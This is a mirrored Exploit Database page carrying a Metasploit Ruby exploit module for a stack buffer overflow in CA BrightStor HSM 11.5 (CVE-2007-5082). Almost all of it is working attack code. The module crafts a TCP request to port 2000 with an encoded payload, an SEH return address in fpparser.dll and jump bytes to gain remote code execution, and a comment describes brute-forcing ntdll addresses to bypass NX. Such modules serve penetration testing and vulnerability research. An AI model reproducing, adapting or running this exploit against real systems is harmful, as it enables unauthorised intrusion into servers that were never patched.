CA BrightStor – HSM Buffer Overflow (Metasploit)

• Exploit Database
• 30 阅读

• 作者： Metasploit
  日期： 2010-05-09
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16402/

• ##
  # $Id: hsmserver.rb 9262 2010-05-09 17:45:00Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GreatRanking
  
  	include Msf::Exploit::Remote::Tcp
  	include Msf::Exploit::Remote::Seh
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'CA BrightStor HSM Buffer Overflow',
  			'Description'=> %q{
  					This module exploits one of the multiple stack buffer overflows in Computer Associates BrightStor HSM.
  				By sending a specially crafted request, an attacker could overflow the buffer and execute arbitrary code.
  			},
  			'Author' => [ 'toto' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9262 $',
  			'References' =>
  				[
  					[ 'CVE', '2007-5082' ],
  					[ 'OSVDB', '41363' ],
  					[ 'BID', '25823' ],
  				],
  			'Privileged' => true,
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  				},
  			'Payload'=>
  				{
  					'Space'=> 1026,
  					'BadChars' => "\x00\x0a\x0d;",
  					'StackAdjustment' => -3500,
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					# NX can be bypassed by bruteforcing ntdll addresses as the process is restarted
  					# pop/pop/ret in fpparser.dll (old from 2004)
  					[ 'BrightStor HSM 11.5 Windows All',	{ 'Ret' => 0x12014c78 } ],
  				],
  			'DisclosureDate' => 'Sep 27 2007',
  			'DefaultTarget' => 0))
  
  		register_options(
  			[
  				Opt::RPORT(2000)
  			], self.class)
  	end
  
  	def exploit
  		connect
  
  		data =
  			[42,7,0,0].pack('VVVV') +
  			payload.encoded +
  			"\xeb\x06" +
  			Rex::Text.rand_text_alphanumeric(2) +
  			[ target.ret ].pack('V') +
  			"\xe9\xf1\xfb\xff\xff" +
  			Rex::Text.rand_text_alphanumeric(0x100)
  
  		sploit = [data.length + 4].pack('V') + data
  
  		print_status("Trying target #{target.name}...")
  
  		sock.put(sploit)
  		handler
  		disconnect
  	end
  
  end